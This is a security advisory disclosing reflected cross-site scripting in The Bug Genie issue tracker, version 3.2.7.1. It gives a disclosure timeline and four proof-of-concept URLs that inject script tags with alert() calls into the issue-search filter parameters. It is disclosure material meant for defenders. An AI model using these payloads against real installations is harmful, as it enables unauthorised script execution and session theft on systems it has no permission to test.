XSS Vulnerability in The Bug Genie

Information

Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in The Bug Genie
Affected Software: The Bug Genie
Affected Versions: 3.2.7.1 and possibly below
Vendor Homepage: http://www.thebuggenie.com/
Vulnerability Type: Cross-site Scripting
Severity: Important
Invicti Advisory Reference: NS-14-035

Description

Beautiful issue tracking and project management software.

Technical Details

Proof of Concept URLs for XSS in The Bug Genie:

http://example.com/thebuggenie/ns/issues/find/filters[text][operator]/'"--></style></scRipt><scRipt>alert(0x0025A5)</scRipt>/filters[text][value]/3/filters[project_id][0][operator]/=/filters[project_id][0][value]/1/groupby/grouporder/asc/templatename/results_normal/saved_search/issues_per_page/50

http://example.com/thebuggenie/ns/issues/find/filters[text][operator]/=/filters[text][value]/'"--></style></scRipt><scRipt>alert(0x002649)</scRipt>/filters[project_id][0][operator]/=/filters[project_id][0][value]/1/groupby/grouporder/asc/templatename/results_normal/saved_search/issues_per_page/50

http://example.com/thebuggenie/ns/issues/find/filters[text][operator]/=/filters[text][value]/'"--></style></scRipt><scRipt>alert(0x002649)</scRipt>/filters[project_id][0][operator]/=/filters[project_id][0][value]/1/groupby/grouporder/asc/templatename/results_normal/saved_search/issues_per_page/50

http://example.com/thebuggenie/nsciyiz/issues/find/filters[text][operator]/'"--></style></scRipt><scRipt>alert(0x002646)</scRipt>/filters[text][value]/3/filters[project_id][0][operator]/=/filters[project_id][0][value]/1/groupby/grouporder/asc/templatename/results_normal/saved_search/issues_per_page/50

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

10/07/2014 – First contact
22/07/2014 – Second contact
03/12/2014 – Advisory released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti

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